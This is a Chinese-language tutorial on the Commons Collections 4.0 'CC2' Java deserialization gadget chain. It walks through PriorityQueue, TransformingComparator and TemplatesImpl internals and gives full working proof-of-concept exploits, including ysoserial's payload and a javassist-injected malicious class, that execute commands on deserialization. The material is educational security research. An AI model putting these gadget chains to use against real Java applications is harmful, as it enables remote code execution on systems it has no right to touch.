前言 之前分析了cc1的利用链,但是cc1的利用链是有JDK版本限制的。在JDK8u71版本以后,对AnnotationInvocationHandler
的readobject
进行了改写,导致高版本中利用链无法使用,这在上文中分析过了。
cc2链中使用的是commons-collections-4.0
版本,利用链如下
1 2 3 4 5 6 7 8 Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
这里cc2链使用commons-collections-4.0
版本的原因是,在3.2.1版本以下TransformingComparator
并没有去实现Serializable
接口,也就是不可以被序列化的,所以在利用链上就不能使用它去构造。
3.2.1版本
4,0版本
在CC2链里不是利用 AnnotationInvocationHandler
来构造,而是使用
javassist
和PriorityQueue
来构造利用链,所以先来了解下PriorityQueue
的基本使用。
PriorityQueue 概念
PriorityQueue
一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。 PriorityQueue
队列的头指排序规则最小那个元素。如果多个元素都是最小值则随机选一个。 PriorityQueue
是一个无界队列,但是初始的容量(实际是一个Object[]),随着不断向优先级队列添加元素,其容量会自动扩容,无需指定容量增加策略的细节。
构造方法
1 2 3 4 PriorityQueue() 使用默认的初始容量(11 )创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 PriorityQueue(int initialCapacity) 使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常见方法
1 2 3 4 5 6 7 8 9 10 11 add(E e) 将指定的元素插入此优先级队列 clear() 从此优先级队列中移除所有元素。 comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null contains(Object o) 如果此队列包含指定的元素,则返回 true。 iterator() 返回在此队列中的元素上进行迭代的迭代器。 offer(E e) 将指定的元素插入此优先级队列 peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。 poll() 获取并移除此队列的头,如果此队列为空,则返回 null。 remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。 size() 返回此 collection 中的元素数。 toArray() 返回一个包含此队列所有元素的数组。
代码实例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class PriorityQueueTest { public static void main (String[] args) { PriorityQueue<String> q = new PriorityQueue <String>(); q.add("2" ); q.add("1" ); q.add("5" ); q.add("3" ); q.add("4" ); System.out.println(q.poll()); System.out.println(q.poll()); System.out.println(q.poll()); System.out.println(q.poll()); System.out.println(q.poll()); } }
观察打印结果, 入列:21534, 出列是12345, 也是说出列时做了相关判断,将最小的值返回。默认情况下PriorityQueue
使用自然排序法,最小元素先出列。
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
类似。
这个类有个compare()方法,会调用Transformer#transform()
方法,根据前面的学习,猜测这里可能存在利用点,那具体该怎么利用呢,是否真的可以利用呢,下面开始分析。
org.apache.commons.collections4.comparators.TransformingComparator
类中提供了 compare()
方法,在该方法中对 this.transformer
调用了 transform()
方法,如果this.transformer
可控,那么就可以利用该方法执行 ChainedTransformer.transform()
方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec()
调用链。
那现在查看下this.transformer
是如何被赋值的。
在TransformingComparator
的构造方法中,看到了赋值情况,并且两个构造方法都是被public关键字修饰的
也就是说,this.transformer
完全可控,我们可以将 this.transformer
指向 ChainedTransformer
对象来执行 ChainedTransformer.transform()
方法。
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 public class TransformingComparatorTest1 { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc.exe" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (transformerChain); transformingComparator.compare("test" ,"test" ); } }
成功弹出计算器,但是可以看到控制台报错了
根据报错信息,可以大致推断应该是类型转换有问题,而且运行的时候是先弹出计算器,后报错的,所以在下面的代码处打上断点
进入compare()
方法
这里的transformer
被赋值为ChainedTransformer
,然后调用trasnform()
方法弹出计算器,所以我们重点就看函数的最后一行代码
进入,在方法的注释中可以看到异常的信息说明,大致就是如果传入的参数不实现Comparable
可就会产生这个报错。
在这也看到,使用了泛型来约束传入的类型
报错原因找到了之后,但上述的代码只是手动调用compare()方法弹出计算器,那现在如何使 TransformingComparator.compare()
方法自动调用呢?我们在 Java 内置的 PriorityQueue
类中找到了一条可行的路子。
PriorityQueue.readObject() PriorityQueue
类的 readObject()
方法中调用了一个 heapify()
方法
PriorityQueue.heapify() 跟进 heapify()
方法,发现其调用了 siftDown()
方法,这里存在一个for循环,要想进入循环需要满足i = (size >>> 1) - 1 >= 0,即 size >= 2
,这里的size指的是队列中元素的个数。
PriorityQueue.siftDown() 跟进 siftDown()
方法,发现如果 comparator
变量不为空,将调用 siftDownUsingComparator()
方法:
PriorityQueue.siftDownUsingComparator() 跟进 siftDownUsingComparator()
方法,发现会调用 comparator#compare()
方法
结合前面的compare()
方法的利用,如果comparator
可控的话,让它指向前文中构造的 TransformingComparator
对象,那么就可以执 TransformingComparator.compare()
方法了。那么,找一下comparator
是怎么被赋值的。
查看 PriorityQueue
类的构造方法,其第 1 个参数用于指定队列的初始容量,第 2 个参数将赋值给 this.comparator
,并且该构造方法对外开放,因此 comparator
变量完全可控
构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package cc2; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.util.PriorityQueue; public class TransformingComparatorTest2 { public static void main(String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", // new Class[] {String.class, Class[].class}, new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", null} ), new InvokerTransformer( "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null} ), new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); // transformingComparer.compare("test", "test"); PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(priorityQueue); objectOutputStream.close(); byteArrayOutputStream.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); byteArrayInputStream.close(); } }
运行之后,计算器弹出来了,但报错了
根据前面的报错分析,在调用comparator.compare()
后,提示 “java.lang.ProcessImpl cannot be cast to java.lang.Comparable”,因为类型不符而报错,和上面那个报错是一样的,但是根据调试发现,程序在反序列化之前就弹出计算器了,那看看是怎么个调用的过程,
在如下地方打下断点
跟进add()方法,发现调用了offer()方法
跟进发现在offer()
方法里会有一些if判断,这里如果i!=0就会调用siftUp()
方法,第一次调用add()方法时,这里的i=0,即你不会调用siftUp()方法,当第二次调用add()方法时,就会进入,i=1,就进入siftUp()
方法
跟进siftUp()
方法
这里判断comparator是否为空,如果为不空,就调用siftUpUsingComparator()
方法,为空则调用siftUpComparable()
方法,跟进siftUpUsingComparator()
方法,这里会调用comparator#compare()
方法,进而导致了计算器的弹出和报错的产生。
我们返回,跟进siftUpComparable()
方法,这里不会导致后续调用链的发生
这里防止报错的关键是让comparator
在add()
方法调用的时候为空,实例化 PriorityQueue
对象后再通过反射将 comparator
设为 TransformingComparator
对象。
所以,优化代码后,可构造如下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 package cc2;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.functors.ChainedTransformer;import java.io.*;import java.lang.reflect.*;import java.util.PriorityQueue;public class TransformingComparatorTest3 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]} ), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]} ), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc.exe" } ) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (transformerChain); PriorityQueue queue = new PriorityQueue (2 ); queue.add(1 ); queue.add(2 ); Field comparator = queue.getClass().getDeclaredField("comparator" ); comparator.setAccessible(true ); comparator.set(queue, transformingComparator); ByteArrayOutputStream b1 = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (b1); out.writeObject(queue); out.close(); b1.close(); System.out.println(b1.toString()); ByteArrayInputStream b2 = new ByteArrayInputStream (b1.toByteArray()); ObjectInputStream in = new ObjectInputStream (b2); in.readObject(); in.close(); b2.close(); } }
在进行反序列化的过程中会报同样的错误,但是在报错前就成功执行命令并弹出了计算器
整个 Gadget Chain 的调用过程如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
Ysoserial 利用链分析 对于 Commons Collections 2 这条链,ysoserial 利用的是 TemplatesImpl
类来进行利用的,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package ysoserial.payloads;import java.util.PriorityQueue;import java.util.Queue;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload <Queue<Object>> { public Queue<Object> getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer)); queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" ); queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
下面分析下TemplatesImpl
是怎么利用的
TemplatesImpl.getTransletInstance() 函数中可以看到有一处newInstance()方法的调用
在对类进行 newInstance()
实例化操作时,会首先执行类中的无参数构造方法或 static{}
静态块中的内容,下面为测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package cc2;import java.io.IOException;public class StaticTest { public static void instance (Class className) throws InstantiationException, IllegalAccessException { className.newInstance(); } public static void main (String[] args) throws InstantiationException, IllegalAccessException { instance(EvalClass.class); } } class EvalClass { public EvalClass () { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException e) { e.printStackTrace(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package cc2;import java.io.IOException;public class StaticTest { public static void instance (Class className) throws InstantiationException, IllegalAccessException { className.newInstance(); } public static void main (String[] args) throws InstantiationException, IllegalAccessException { instance(EvalClass.class); } } class EvalClass { public EvalClass () { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException e) { e.printStackTrace(); } } }
结果如下
可以看到_class[]为存放这Class类的数组,如果控制 _class[_transletIndex]
的值,使其指向我们精心构造的的类,那么,在执行newInstance()
实例化恶意类时,就会触发恶意代码执行
TemplatesImpl.defineTransletClasses() 要想执行newInstance()
方法,需要满足前面的条件,_name不为空
在执行newInstance()
方法前会进入 defineTransletClasses()
方法,进入
在方法中,可以看到在414行代码处,会调用load.defineClass()
,学过类加载的知识就知道这里时将 _bytecodes[i]
中的字节码转换成类,并且在下面的if语句中会对转换的类名进行了一个判断,判断父类的类名是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,满足的话就会将索引 i
赋给 _transletIndex
,也就是说要想在下面调用newInstance()实例化恶意类,就需要满足我们这个恶意类继承AbstractTranslet
。可以知道这里触发的关键在于_bytecodes
的赋值,
这里的思路是通过反射获取 _bytecodes
,将恶意类的字节码添加到 _bytecodes
中作为一个元素,然后将字节码转换成类并添加到_class[]
中,当调用 TemplatesImpl.getTransletInstance()
方法时,执行_class[_transletIndex].newInstance()
进行恶意类的实例化,从而执行恶意代码。
现在只需要找到调用getTransletInstance()
方法的地方
在当前类中搜索getTransletInstance()
,发现在newTransformer()
方法中会调用getTransletInstance()
可以利用InvokerTransformer
类里的可控反射来调用getTransletInstance()
方法,即构造如下利用链
1 2 3 4 5 6 7 8 9 10 PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() -> newInstance() Runtime.getRuntime().exec()
构造的poc如下,和ysoserial的poc差不多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 package cc2;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.*;import java.util.PriorityQueue;public class TransformingComparatorTestExp { public static void main (String[] args) throws Exception { InvokerTransformer transformers = new InvokerTransformer ( "newTransformer" , new Class [0 ], new Object [0 ] ); TransformingComparator transformingComparator = new TransformingComparator (transformers); PriorityQueue priorityQueue = new PriorityQueue (2 ); priorityQueue.add(1 ); priorityQueue.add(2 ); Field comparator = priorityQueue.getClass().getDeclaredField("comparator" ); comparator.setAccessible(true ); comparator.set(priorityQueue, transformingComparator); ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilClass" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte [] evilClassBytes = cc.toBytecode(); byte [][] evilByteCodes = new byte [][]{evilClassBytes}; TemplatesImpl templatesImpl = new TemplatesImpl (); Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes" ); Field _name = templatesImpl.getClass().getDeclaredField("_name" ); _bytecodes.setAccessible(true ); _name.setAccessible(true ); _name.set(templatesImpl, "test" ); _bytecodes.set(templatesImpl, evilByteCodes); Field queue = priorityQueue.getClass().getDeclaredField("queue" ); queue.setAccessible(true ); queue.set(priorityQueue, new Object []{templatesImpl, 1 }); ByteArrayOutputStream b1 = new ByteArrayOutputStream (); ObjectOutputStream out = new ObjectOutputStream (b1); out.writeObject(priorityQueue); out.close(); b1.close(); System.out.println(b1.toString()); ByteArrayInputStream b2 = new ByteArrayInputStream (b1.toByteArray()); ObjectInputStream in = new ObjectInputStream (b2); in.readObject(); in.close(); b2.close(); } }
运行结果如下
调用链
参考 https://mp.weixin.qq.com/s/7k4dlQ9pI1X0Smhcb-HOgA
https://www.cnblogs.com/nice0e3/p/13860621.html